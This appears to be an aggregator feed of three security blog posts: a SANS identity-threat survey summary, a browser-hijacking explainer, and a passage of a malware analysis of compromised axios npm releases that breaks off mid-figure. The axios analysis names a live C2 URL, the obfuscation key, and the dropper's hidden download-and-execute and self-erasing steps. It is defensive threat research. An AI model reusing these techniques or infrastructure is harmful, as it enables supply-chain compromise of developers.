Technology

<p><em><strong>Identity attacks succeed because the credentials are already compromised.</strong></em></p><p>Identity has become the new security perimeter, but according to the latest SANS research, that shift hasn’t eliminated identity-related compromise.</p><p>If anything, the data shows the opposite.</p><p>The <a href="https://resources.enzoic.com/sans-identity-threats-defenses/">2026 SANS Identity Threats &amp; Defenses Survey</a> highlights a reality most security teams are already experiencing: identity tools are widely deployed, yet identity-related breaches remain stubbornly common. In fact, <strong>55% of organizations experienced an identity-related compromise in the past year, despite 85% deploying identity security solutions.</strong></p><p>So what’s going wrong?</p><p>The issue isn’t a lack of investment. It’s a mismatch between how identity defenses are built and how identity attacks actually work today.</p><h2>The Problem Isn’t Detection—It’s Timing</h2><p>One of the most telling insights in the SANS Identity Threats report is the gap between detection and containment.</p><p>Organizations are getting better at identifying identity attacks. 68% detect them within 24 hours, but only 55% can contain them in that same window.</p><p>That delay matters.</p><p>Because by the time an alert fires, the attacker is rarely at the door—they’re already inside. They’ve authenticated, established a foothold, and often begun moving laterally across systems. The report puts it plainly: organizations have built the sensors, but not the operational muscle to respond fast enough.</p><p>It’s easy to interpret this as a detection problem. It’s not.</p><p>It’s a timing problem—and more specifically, a credential exposure problem.</p><h2>Identity Attacks Don’t Start at Login</h2><p>The SANS Identity Threats data reinforces a shift that’s been building for years: identity attacks no longer depend on breaking authentication—they depend on using legitimate login flows. While credential phishing still accounts for a portion of attacks (35%), the report highlights a broader mix of techniques, including compromised browsers (27%), MFA fatigue (26%), token-based access methods (23%).</p><p>What makes these techniques effective is that they rely on legitimate access. There’s no failed login, no obvious anomaly, and often nothing that looks suspicious in isolation. These techniques matter—but they all depend on one thing: access to credentials that are already trusted.</p><p>This aligns with the report’s broader finding that modern identity attacks increasingly rely on valid credentials and trusted access paths. And that’s the real issue: identity defenses are still largely built on the assumption that credentials are trustworthy.</p><p>Attackers know they’re not.</p><h2>The Real Gap: Credential Exposure</h2><p>The SANS Identity Threats report does a strong job outlining how identity attacks unfold. But it also points to something deeper, something many organizations still don’t fully account for.</p><blockquote> <p style="text-align: center;"><strong>Identity attacks don’t start when someone logs in.</strong></p> <p style="text-align: center;"><strong>They start when credentials are exposed.</strong></p> </blockquote><p>That exposure can happen in a number of ways:</p><ul> <li>Credentials harvested through malware or compromised endpoints</li> <li>Passwords leaked in prior breaches</li> <li>Reuse across personal and corporate accounts</li> </ul><p>By the time those credentials are used in an attack, they’re not “stolen” in real time—they’ve often been <a href="https://www.enzoic.com/blog/previously-compromised-data/">circulating for weeks or months</a>.</p><p>From the defender’s perspective, the attack looks sudden.<br> From the attacker’s perspective, it’s just execution.</p><p>This is the disconnect.</p><p>Security teams are focused on what happens at authentication: monitoring logins, enforcing MFA, and looking for suspicious activity.</p><p>Meanwhile, the real issue often exists upstream. The credential itself has already been exposed—sometimes long before any alert is ever triggered.</p><h2>How Infostealers Fit into the Identity Attack Chain</h2><p>The SANS report points to techniques like compromised browsers and token-based access, but these don’t happen in isolation.</p><p>In many cases, they begin at the endpoint.</p><p><a href="https://www.enzoic.com/blog/key-points-from-the-infostealer-threat/">Infostealer malware</a> is one example of how credentials and authentication data can be extracted from endpoints. Once collected, that information can be reused or sold, often long before any attack is detected.</p><p>This helps explain why attackers are increasingly able to operate inside trusted environments without triggering alerts.</p><p>From a security team’s perspective, the activity appears legitimate.</p><p>But in reality, the credential was already compromised.</p><p>This is one of the clearest examples of how identity risk originates outside traditional identity systems.</p><h2>Why This Is So Hard to Detect</h2><p>This also explains why identity attacks continue to slip through, even in environments with modern controls.</p><p>When attackers use valid credentials, everything looks normal. MFA prompts can be approved, login behavior appears expected, and access aligns with what the system allows.</p><p>There’s no obvious signal to trigger a response.</p><p>The SANS report reinforces this through its analysis of modern attack chains, where initial access, privilege escalation, and lateral movement can all occur using trusted identities and approved access paths.</p><p>In other words, nothing looks broken.</p><p>And that’s exactly the problem.</p><h2>Hybrid Environments Make Identity Risk Harder to Contain</h2><p>Another important finding in the SANS Identity Threats report is the complexity of modern identity environments.</p><p>Most organizations are not operating in a single system. Instead, identities span:</p><ul> <li>On-premises and hybrid <a href="https://www.enzoic.com/active-directory-password-monitoring/">Active Directory environments</a></li> <li>Cloud identity providers</li> <li>SaaS applications and integrations</li> </ul><p>A single authentication flow may traverse all three.</p><p>This creates an environment where identity risk is distributed and harder to track. This reflects the hybrid identity environments described in the SANS report, where identities span on-premises, cloud, and SaaS systems.</p><p>An exposed credential in one system can often be reused across others. Access granted in one environment can extend into multiple systems, and visibility is often fragmented across tools.</p><p>This hybrid reality is a defining characteristic of modern identity attacks—and a key reason they are so difficult to contain.</p><h2>The Real Risk: Credentials Stay Valid After Exposure</h2><p>Another theme that shows up clearly in the SANS data is persistence—but not in the way most organizations think about it.</p><p>The issue isn’t how often credentials are rotated. It’s that <strong>exposed credentials often remain valid long after they’ve been compromised.</strong></p><p>Once a password is exposed—whether through malware, phishing, or prior breaches—it doesn’t lose its value. It can be tested, reused, and leveraged across systems over time, often without triggering any alerts.</p><p>This is exactly what makes modern identity attacks so effective.</p><p>Attackers aren’t racing against expiration windows. They’re taking advantage of the fact that most systems still accept credentials that have already been exposed elsewhere.</p><p>This is also why traditional approaches like forced password rotation fall short. Changing passwords on a schedule doesn’t address whether those credentials have already been compromised.</p><blockquote> <p style="text-align: center;"><strong>What matters is not how often credentials change, but whether they are safe to use in the first place.</strong></p> </blockquote><h2>What This Means for Identity Security</h2><p>Taken together, the SANS Identity Threats findings point to a clear conclusion:</p><p>Identity defenses are heavily focused on authentication, but identity risk starts earlier.</p><p>Organizations have invested in stronger login controls, MFA enforcement, and detection capabilities. But those investments are concentrated at the point of access.</p><p>Attackers, on the other hand, are operating upstream, at the point of credential exposure.</p><p>Until that gap is addressed, the same pattern will continue: valid credentials used for access, legitimate activity that appears normal, and detection triggered after the fact.</p><h2>Identity Risk Starts with Credential Exposure</h2><p>The takeaway from the SANS Identity Threats report isn’t that identity security is failing, it’s that it’s incomplete.</p><p>Detection is improving. Visibility is improving. But neither solves the problem if compromised credentials are still allowed to authenticate in the first place.</p><p>Reducing identity risk requires a shift in focus:</p><ul> <li>Identifying exposed credentials continuously</li> <li>Preventing compromised passwords from being used</li> <li>Reducing reliance on long-lived credentials</li> </ul><p>Because in today’s threat landscape, identity risk doesn’t begin at login.</p><p>It begins the moment a credential is exposed.</p><p>For a deeper look at how identity attacks are evolving and where defenses are falling short, <a href="https://resources.enzoic.com/sans-identity-threats-defenses/">download the full report</a>: <strong>2026 SANS State of Identity Threats &amp; Defenses Survey.</strong></p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/03/2026-sans-identity-threats-report-why-attacks-still-work/" data-a2a-title="2026 SANS Identity Threats Report: Why Attacks Still Work"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2F2026-sans-identity-threats-report-why-attacks-still-work%2F&amp;linkname=2026%20SANS%20Identity%20Threats%20Report%3A%20Why%20Attacks%20Still%20Work" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2F2026-sans-identity-threats-report-why-attacks-still-work%2F&amp;linkname=2026%20SANS%20Identity%20Threats%20Report%3A%20Why%20Attacks%20Still%20Work" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2F2026-sans-identity-threats-report-why-attacks-still-work%2F&amp;linkname=2026%20SANS%20Identity%20Threats%20Report%3A%20Why%20Attacks%20Still%20Work" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2F2026-sans-identity-threats-report-why-attacks-still-work%2F&amp;linkname=2026%20SANS%20Identity%20Threats%20Report%3A%20Why%20Attacks%20Still%20Work" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2F2026-sans-identity-threats-report-why-attacks-still-work%2F&amp;linkname=2026%20SANS%20Identity%20Threats%20Report%3A%20Why%20Attacks%20Still%20Work" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://www.enzoic.com/blog/">Blog | Enzoic</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Enzoic">Enzoic</a>. Read the original post at: <a href="https://www.enzoic.com/blog/2026-sans-identity-threats-report-why-attacks-still-work/">https://www.enzoic.com/blog/2026-sans-identity-threats-report-why-attacks-still-work/</a> </p>

<p>Web browsers act as a critical gateway to an organization’s digital ecosystem, enabling access to banking, email, cloud applications, and sensitive customer data. When attackers compromise this gateway, they can monitor user activity, redirect traffic, and capture confidential credentials without detection. This threat, known as browser hijacking, has become increasingly widespread, affecting organizations of all sizes. This type of hijacking involves unauthorized modifications to a user’s browser settings. Although it may seem minor initially, it can lead to the installation of malware or spyware, resulting in serious security and privacy risks.</p><p>Unusual browser behavior, such as frequent pop-ups, unexpected redirects, or sudden changes in settings, often signals a potential hijack. This guide explores how browser hijacking works, how to remove it, and the steps you can take to reduce the risk.</p><h2 class="wp-block-heading"><strong>What is Browser Hijacking and How Does It Operate?</strong></h2><p>Browser hijacking involves a range of techniques that hackers use to gain control over web browsers and user sessions. While the methods may differ, most attacks follow a similar approach that allows attackers to operate without raising immediate suspicion.</p><p>In many cases, these attacks begin when users unknowingly install malicious browser extensions. In fact, cybersecurity researchers recently identified 33 such extensions affecting over 2.6 million users. Other common entry points include downloading compromised software, interacting with phishing emails, or visiting infected websites.</p><p>After successfully compromising a browser, attackers can leverage their access to carry out a wide range of malicious activities:</p><ul class="wp-block-list"> <li><strong>Session token theft:</strong> </li> </ul><p>Modern attackers often target session cookies and authentication tokens instead of passwords. When you log into a website, your browser saves a session token that confirms your authenticated state. If attackers manage to steal this token, they can impersonate you without needing your password and may even bypass multi-factor authentication. In 2023 alone, Microsoft reported 147,000 such “token replay” attacks, marking a 111% increase compared to the previous year.</p><ul class="wp-block-list"> <li><strong>Traffic Interception and Redirection:</strong> </li> </ul><p>Attackers can track and manipulate your online activity once they gain control. This may include redirecting you to fake websites that closely resemble legitimate ones, injecting unwanted ads into webpages, or routing your traffic through malicious servers to capture sensitive information like login credentials.</p><ul class="wp-block-list"> <li><strong>Additional Malware Deployment:</strong> </li> </ul><p>The hijacking is often just the starting point for more severe attacks. With access to the browser, attackers can introduce other malicious software such as ransomware, keyloggers, or spyware. This can quickly escalate into a broader network compromise, impacting multiple systems and users within an organization.</p><p>One of the most alarming aspects of browser hijacking is how quickly these attacks can progress. In many cases, commonly available stealer malware can extract and transmit stored session data in less than an hour, with attackers beginning to use the stolen credentials within 24 hours. Despite this rapid execution, the average detection time still remains around five days.</p><h3 class="wp-block-heading"><strong>Why Browser Hijacking is a Silent Threat To Organizations?</strong></h3><p>The hijacking is considered a “silent” threat because it is designed to stay hidden. Instead of causing obvious damage like system crashes or pop-ups, it works quietly in the background. It may use hidden browser windows, run scripts silently, or replace files without the user noticing.</p><p>For example, some attacks can open a hidden browser window and steal cookies or redirect searches without any visible sign. Others act only occasionally, triggering malicious activity on a small number of page visits, making them even harder to detect. In some cases, harmful browser extensions can even hide themselves from the browser’s extension list.</p><p>Another reason these attacks go unnoticed is that their activity often looks normal. The browser may appear to be sending regular web traffic, such as HTTPS requests to common websites, which makes it difficult for security tools to identify anything suspicious.</p><p><strong><em>Browser hijacking is risky for enterprises because it can silently steal sensitive data like login credentials and financial information. Hijacked browsers can monitor user activity, exposing confidential business operations and communications.</em></strong></p><p>In simple terms, browser hijackers blend in with normal browser behavior. They use trusted methods like legitimate-looking software, hidden code, and built-in browser features to avoid detection. This ability to “hide in plain sight” is what makes them so difficult to detect without advanced security monitoring.</p><h3 class="wp-block-heading"><strong>Common Signs of a Browser Hijacking Attack</strong></h3><p>Certain types of browser hijacking malware can cause unusual or unwanted behavior on an infected device. Some common signs include:</p><ul class="wp-block-list"> <li>Frequent pop-up ads or unwanted windows appearing on the screen</li> <li>Changes to your default homepage or search engine without your permission</li> <li>Searches are being redirected to unfamiliar or suspicious websites</li> <li>New toolbars or extensions are showing up without being installed by the user</li> <li>Slower browser performance, with web pages taking longer to load</li> <li>Unexpected redirects that take you to pages you didn’t intend to visit</li> </ul><p>That said, not all browser hijacking attacks are easy to spot. Some operate quietly in the background, collecting data and tracking activity without affecting how the device appears to function. This is why taking proactive security measures is essential to staying protected.</p><h3 class="wp-block-heading"><strong>Browser Hijacking: Attack Vectors, Signs &amp; Prevention</strong></h3><p>Reducing the risk of hijacking requires a combination of good security habits and practical preventive measures. Adopting safe and responsible online behavior is a strong first step, but there are several additional steps organizations and individuals can take to further minimize the risk:</p><ul class="wp-block-list"> <li><strong>Avoid downloading free or untrusted software</strong></li> </ul><p>If something is offered for free from an unknown or unreliable source, it’s usually not safe. Many free download websites contain hidden malware. Even if the software looks genuine, it may include harmful programs like browser hijackers.</p><ul class="wp-block-list"> <li><strong>Review download settings carefully</strong></li> </ul><p>Before installing any software, always check the installation settings. This helps you spot and avoid any extra or unwanted programs that may be included.</p><ul class="wp-block-list"> <li><strong>Be cautious of repeated ads and messages</strong></li> </ul><p>If you keep seeing the same ads or offers again and again, especially ones that seem too good to be true, avoid them. Do not click on pop-ups or banners, as they may lead to malicious content.</p><ul class="wp-block-list"> <li><strong>Avoid clicking on suspicious links</strong></li> </ul><p>If a link or email attachment looks unusual or untrustworthy, don’t click on it. Always stick to websites and sources you are familiar with.</p><ul class="wp-block-list"> <li><strong>Keep browsers and extensions updated</strong></li> </ul><p>Regular updates help fix security issues and remove risky extensions. Updated browsers also come with better security features to protect against threats.</p><h3 class="wp-block-heading"><strong>Conclusion</strong></h3><p>Browser hijacking may not always appear as a high-impact threat at first glance, but its ability to operate silently makes it extremely risky. By quietly taking control of browsers, attackers can monitor user activity, steal sensitive information, and launch further attacks without being detected. Its stealthy nature, combined with rapid execution and delayed detection, makes it a serious risk for both individuals and organizations.</p><p>The key to defending against browser hijacking lies in being proactive rather than reactive. Recognizing early warning signs, adopting safe browsing habits, and maintaining strong security practices can significantly reduce the risk. Simple steps like avoiding untrusted downloads, keeping systems updated, and staying alert to unusual browser behavior can go a long way in preventing attacks.</p><p>Ultimately, as browsers continue to serve as a gateway to critical systems and data, securing them must be a priority. A combination of user awareness, regular monitoring, and strong security controls is essential to stay ahead of this silent yet impactful threat.</p><h3 class="wp-block-heading">FAQs</h3><div class="schema-how-to wp-block-yoast-how-to-block"> <p class="schema-how-to-description"> </p><ol class="schema-how-to-steps"> <li class="schema-how-to-step" id="how-to-step-1774872745520"><strong class="schema-how-to-step-name"><strong><strong>How can you prevent browser hijacking?</strong></strong></strong> <p class="schema-how-to-step-text">You can prevent browser hijacking by avoiding untrusted downloads, regularly updating your browser and extensions, using reputable security software, and monitoring any unexpected changes in browser settings.</p> </li> <li class="schema-how-to-step" id="how-to-step-1774872759154"><strong class="schema-how-to-step-name"><strong>Can browser hijackers steal passwords?</strong></strong> <p class="schema-how-to-step-text">Browser hijackers can steal sensitive data by installing tracking cookies. These cookies monitor your browsing history and search behavior. They can also collect personal information, including login credentials and financial details.</p> </li> <li class="schema-how-to-step" id="how-to-step-1774872772238"><strong class="schema-how-to-step-name"><strong>How can I check whether my browser is being managed or monitored?</strong></strong> <p class="schema-how-to-step-text">Open Chrome and click the three-dot menu in the top-right corner. Scroll to the bottom. If you see “Managed by your organization,” your browser is being monitored. If not, it isn’t.</p> </li> </ol> </div><p>The post <a href="https://kratikal.com/blog/browser-hijacking-threat-to-organization/">What Makes Browser Hijacking a Silent Threat?</a> appeared first on <a href="https://kratikal.com/blog">Kratikal Blogs</a>.</p><div class="spu-placeholder" style="display:none"></div><div class="addtoany_share_save_container addtoany_content addtoany_content_bottom"><div class="a2a_kit a2a_kit_size_20 addtoany_list" data-a2a-url="https://securityboulevard.com/2026/03/what-makes-browser-hijacking-a-silent-threat/" data-a2a-title="What Makes Browser Hijacking a Silent Threat?"><a class="a2a_button_twitter" href="https://www.addtoany.com/add_to/twitter?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fwhat-makes-browser-hijacking-a-silent-threat%2F&amp;linkname=What%20Makes%20Browser%20Hijacking%20a%20Silent%20Threat%3F" title="Twitter" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fwhat-makes-browser-hijacking-a-silent-threat%2F&amp;linkname=What%20Makes%20Browser%20Hijacking%20a%20Silent%20Threat%3F" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_facebook" href="https://www.addtoany.com/add_to/facebook?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fwhat-makes-browser-hijacking-a-silent-threat%2F&amp;linkname=What%20Makes%20Browser%20Hijacking%20a%20Silent%20Threat%3F" title="Facebook" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fwhat-makes-browser-hijacking-a-silent-threat%2F&amp;linkname=What%20Makes%20Browser%20Hijacking%20a%20Silent%20Threat%3F" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Fsecurityboulevard.com%2F2026%2F03%2Fwhat-makes-browser-hijacking-a-silent-threat%2F&amp;linkname=What%20Makes%20Browser%20Hijacking%20a%20Silent%20Threat%3F" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share"></a></div></div><p class="syndicated-attribution">*** This is a Security Bloggers Network syndicated blog from <a href="https://kratikal.com/blog/">Kratikal Blogs</a> authored by <a href="https://securityboulevard.com/author/0/" title="Read other posts by Shikha Dhingra">Shikha Dhingra</a>. Read the original post at: <a href="https://kratikal.com/blog/browser-hijacking-threat-to-organization/">https://kratikal.com/blog/browser-hijacking-threat-to-organization/</a> </p>

<p>On March 30-31, 2026, threat actors published two malicious versions of the popular HTTP library axios (versions 1.14.1 and 0.30.4) to the npm registry. Both versions included a new dependency named plain-crypto-js which, in its 4.2.1 release, contained a fully-featured cross-platform dropper that silently installed a Remote Access Trojan (RAT) on developer machines. The packages have since been removed, and the axios team merged a deprecation workflow on March 31 to formally mark them as compromised on the registry. Any developer who ran npm install on the affected versions during the exposure window should assume their machine is compromised. We tracks this campaign as <strong>MSC-2026-3522.</strong></p><p>Axios has over 50 million weekly downloads. Even a brief window of exposure in a package of this scale represents serious supply chain risk, particularly given that developer laptops routinely hold SSH keys, cloud credentials, API tokens, and access to production systems.</p><h2 class="wp-block-heading" id="how-the-attack-was-deployed-npm-account-compromise">How the Attack Was Deployed: npm Account Compromise</h2><p>Versions 1.14.1 and 0.30.4 <strong>do not exist anywhere in the axios GitHub repository</strong>. There are no git tags, no commits, no release branches corresponding to these version numbers. The most recent legitimate release tag is v1.14.0, published March 27, 2026.</p><p>This means the attack did not involve compromising GitHub. The attacker obtained credentials for a maintainer’s npm account and used the npm CLI directly to publish packages, skipping the entire git-based release workflow. For developers who audit their dependencies by checking the GitHub repository, these versions would appear impossible to find.</p><p>One additional indicator of account compromise: the npm email address associated with the axios maintainer account was changed to <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="b1d8d7c2c5d0c1f1c1c3dec5dedf9fdcd4">[email protected]</a> around the time of the malicious publish. This is consistent with an attacker updating account recovery details after gaining access to lock out the legitimate owner.</p><p>Community member ashishkurmi filed <a href="https://github.com/axios/axios/issues/10604" rel="noopener">issue #10604</a> on March 31, noting that related issues reporting the compromise were being deleted shortly after creation, suggesting the attacker may have retained some account access during the incident window.</p><p>The axios team responded quickly. On March 31, maintainer DigitalBrainJS merged <a href="https://github.com/axios/axios/pull/10591" rel="noopener">PR #10591</a>, adding a deprecate.yml GitHub Actions workflow that allows maintainers to manually trigger npm deprecate against a specified version. This marks the packages as deprecated in the registry and warns developers who attempt to install them.</p><pre class="wp-block-code"><code>name: Deprecate compromised axios version on: workflow_dispatch: inputs: version: description: "Version of axios to deprecate (e.g. 1.14.1)" required: true default: "1.14.1" jobs: deprecate: runs-on: ubuntu-latest permissions: contents: read steps: - name: Setup Node.js uses: actions/setup-node@v4 with: node-version: 20 registry-url: https://registry.npmjs.org </code></pre><p><em>Figure 1: The deprecate.yml workflow added by the axios team (</em><a href="https://github.com/axios/axios/pull/10591" rel="noopener"><em>PR #10591</em></a><em>) to mark compromised versions on the npm registry.</em></p><h2 class="wp-block-heading" id="attack-overview">Attack Overview</h2><p>The attack starts with the axios package.json itself. Both malicious versions (1.14.1 and 0.30.4) were published with <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="f6869a979f98db95848f868299db9c85b6c2d8c4d8c7">[email protected]</a> listed as a new dependency. Any developer running npm install <a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="3b5a435254487b0a150a0f150a">[email protected]</a> would pull in that dependency automatically, with no additional action required. npm resolves and installs the full dependency tree silently.</p><p><a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="d4a4b8b5bdbaf9b7a6ada4a0bbf9bea794e0fae6fae5">[email protected]</a> is where the malicious code lives. The package carries a postinstall hook that fires the moment npm finishes installing it. From there, the chain runs in three stages:</p><ol class="wp-block-list"> <li>The postinstall hook runs setup.js, a heavily obfuscated JavaScript dropper bundled inside plain-crypto-js</li> <li>The dropper detects the operating system, contacts a C2 (command-and-control) server, and downloads a platform-specific second-stage payload</li> <li>On macOS, a compiled Mach-O RAT is dropped to /Library/Caches/com.apple.act.mond and starts beaconing to the attacker every 60 seconds; Windows and Linux have equivalent second-stage paths</li> </ol><p>After the dropper finishes, it erases itself and replaces the package’s own package.json with a pre-staged clean copy that has no postinstall hook. A forensic inspection of the installed package after the fact reveals nothing suspicious.</p><hr class="wp-block-separator has-alpha-channel-opacity"><h2 class="wp-block-heading" id="the-trojan-package-plain-crypto-js-v4-2-0-vs-v4-2-1">The Trojan Package: plain-crypto-js v4.2.0 vs v4.2.1</h2><p>Version 4.2.0 of plain-crypto-js is a clean, if unauthorized, repackaging of the well-known crypto-js library. It contains 53 files, all standard cryptographic primitives with no network calls or install hooks.</p><p>Version 4.2.1 added exactly three files. </p><figure class="wp-block-table"> <table class="has-fixed-layout"> <thead> <tr> <th><strong>File</strong></th> <th><strong>Role</strong></th> </tr> </thead> <tbody> <tr> <td>package.json</td> <td>Modified: added “postinstall”: “node setup.js”</td> </tr> <tr> <td>setup.js</td> <td>New: the dropper (heavily obfuscated, ~3KB)</td> </tr> <tr> <td>package.md</td> <td>New: a clean copy of package.json without the postinstall entry, used for post-execution cleanup</td> </tr> </tbody> </table> </figure><p>The addition of package.md is a revealing detail. Its only purpose is to overwrite package.json after the dropper runs, eliminating the postinstall hook from the installed package. An engineer auditing dependencies after the infection would see a clean package with no hooks and no setup.js.</p><hr class="wp-block-separator has-alpha-channel-opacity"><h2 class="wp-block-heading" id="the-dropper-three-platforms-one-script">The Dropper: Three Platforms, One Script</h2><p>setup.js is a single minified, heavily obfuscated JavaScript file that runs on install and handles macOS, Windows, and Linux with separate execution paths for each.</p><h3 class="wp-block-heading" id="obfuscation">Obfuscation</h3><p>Every sensitive value in the script, module names, file paths, OS identifiers, script content, and the C2 URL, is hidden inside an 18-entry encoded string array. None of these values are readable in the source. To recover them, each entry is reversed, has its base64 padding restored, is base64-decoded, and then passed through a custom XOR cipher keyed on “OrDeR_7077” with an additional constant of 333. The result looks like garbage on the wire but decodes cleanly to readable strings at runtime.</p><p>Decoding all 18 entries reveals the full picture: the three Node.js modules the dropper needs (fs, os, child_process), the C2 base URL (http://sfrclak.com:8000/), platform identifiers for each OS, the full script content dropped on each platform, the execution command for each, and the two filenames used in the post-run cleanup (package.json and package.md).</p><h3 class="wp-block-heading" id="what-the-dropper-does">What the dropper does</h3><p>On execution, the dropper first identifies the operating system, then constructs the full C2 URL by appending the hardcoded campaign ID 6202033 to the base URL, giving http://sfrclak.com:8000/6202033. From there it takes a different path depending on the platform.</p><p><strong>On macOS</strong>, it writes an AppleScript file to /tmp/6202033. That script contacts the C2 with a POST request whose body is packages.npm.org/product0, a value designed to look like legitimate npm registry traffic, and saves the response binary directly to /Library/Caches/com.apple.act.mond. It then sets the binary executable, runs it with zsh in the background, and removes the loader script. The parent dropper launches this AppleScript detached via nohup osascript, so the install process returns immediately without waiting.</p><p><strong>On Windows</strong>, the dropper first locates the PowerShell binary using where powershell, then copies it to %PROGRAMDATA%\wt.exe. The filename wt.exe is the Windows Terminal binary, chosen to blend in on a filesystem listing. It then writes a VBScript file to the temp directory that uses WScript.Shell to run a hidden cmd.exe window. That window curls the C2 for a PowerShell script (POST body: packages.npm.org/product1), saves it as a .ps1 file, and runs it using the copied PowerShell binary with -w hidden -ep bypass, suppressing any visible window and bypassing execution policy. After the PS1 runs, both temp files are deleted.</p><p><strong>On Linux</strong>, the path is the most direct: a single shell command downloads a Python script from the C2 (POST body: packages.npm.org/product2) to /tmp/ld.py and runs it with python3 under nohup, detached from the install process.</p><h3 class="wp-block-heading" id="self-destruction-and-cover-up">Self-destruction and cover-up</h3><p>After launching the platform payload, the dropper executes three cleanup steps in sequence. It deletes itself (setup.js). It deletes the current package.json, which contains the postinstall hook. It then renames package.md, the clean copy of package.json that was bundled into the package, back to package.json. The result is that the installed package directory contains no trace of the dropper, no postinstall hook, and no unexpected files. Any post-install audit of the package looks completely normal.</p><p>The campaign ID 6202033 is the only value hardcoded outside the obfuscated array. The C2 URL base is encoded, which means future campaigns can reuse the same dropper infrastructure by publishing a new version with a different encoded URL, the RAT binary itself never needs to change.</p><hr class="wp-block-separator has-alpha-channel-opacity"><h2 class="wp-block-heading" id="the-macos-second-stage-a-full-remote-access-trojan">The macOS Second Stage: A Full Remote Access Trojan</h2><p>The payload served to macOS victims is a compiled Mach-O x86_64 binary dropped to /Library/Caches/com.apple.act.mond. The path is chosen to resemble a legitimate Apple daemon name. The binary is not signed with a valid certificate, but the dropper sidesteps this by running codesign –force –deep –sign – to apply an ad-hoc signature before execution, satisfying the basic signing requirement without a valid developer identity.</p><p><strong>SHA256:</strong> 92ff08773995ebc8d55ec4b8e1a225d0d1e51efa4ef88b8849d0071230c9645a</p><p>The binary links against libcurl for C2 communication and nlohmann JSON for structured data handling. The C2 URL is not hardcoded; it is passed in as argv[1] by the AppleScript loader from the dropper. This design means the same compiled binary can be redeployed in future campaigns pointing to different infrastructure by simply changing the dropper.</p><h3 class="wp-block-heading" id="initial-beacon">Initial Beacon</h3><p>On first execution, the RAT collects a detailed system fingerprint and POSTs it to the C2 as a Base64-encoded JSON object.</p><pre class="wp-block-code"><code>{ "hostname": "macbook-pro.local", "username": "jdoe", "version": "14.4.1", "timezone": "-5", "installTimeString": "2023-09-15 09:22:11", "currentTimeString": "2025-03-21 14:07:33", "bootTimeString": "2025-03-20 08:11:02", "cpuType": "mac_x64", "modelName": "Intel(R) Core(TM) i9-9980HK CPU @ 2.40GHz", "processList": "user pid command\njdoe 1234 /usr/bin/python3 ...", "FirstInfo": "{ /Applications, ~/Library, ~/Application Support ... }" }</code></pre><p><em>Figure 2: Initial beacon JSON structure sent to C2 on first execution.</em></p><p>The installTimeString is read from /var/db/.AppleSetupDone, a file that records when macOS was first configured. Combined with the full process list and directory tree, this initial beacon gives the operator a complete picture of the target: what software is installed, what is currently running, what credentials and config files are likely present.</p><p>All HTTP communication uses the User-Agent string mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0), which identifies as Internet Explorer 8 on Windows XP. This is anomalous for any macOS process and detectable in HTTP proxy logs.</p><h3 class="wp-block-heading" id="command-and-control-protocol">Command and Control Protocol</h3><p>After the initial beacon, the RAT polls the C2 server every 60 seconds via a GET request, waiting for commands. The operator can issue four command types:</p><p><strong>peinject</strong> receives a Base64-encoded binary payload, writes it to a randomly named hidden file under /private/tmp/, applies chmod 755, ad-hoc signs it with codesign –force –deep –sign -, and executes it with optional parameters. This is the highest-risk capability: it allows the operator to push and run any arbitrary program on the victim machine at any time.</p><p><strong>runscript</strong> executes arbitrary commands. If the Script field is empty, the Param field is passed directly to /bin/sh. If Script is populated, the Base64-decoded content is written to a temporary .scpt file and executed via /usr/bin/osascript. The latter enables GUI interactions, AppleScript-based keychain access, and dialog spoofing attacks.</p><p><strong>rundir</strong> triggers a deep enumeration of the filesystem, collecting file names, sizes, creation and modification timestamps, and directory structure.</p><p><strong>kill</strong> terminates the RAT process.</p><pre class="wp-block-code"><code>main() [0x100007A60] GenerateUID() → random 16-char victim ID GetOS() → macOS version string InitDirInfo() → enumerate /Applications, ~/Library, ~/Application Support Report() → POST initial beacon to C2 loop every 60s: DoWork() → GET C2 for pending command peinject → DoActionIjt() [0x100002ECE] runscript → DoActionScpt() [0x1000042FE] rundir → InitDirInfo() [0x1000070EF] kill → exit </code></pre><p><em>Figure 3: Core command dispatch loop in the macOS RAT, reconstructed from function signatures at the documented offsets. Full analysis by Joe DeSimone available at </em><a 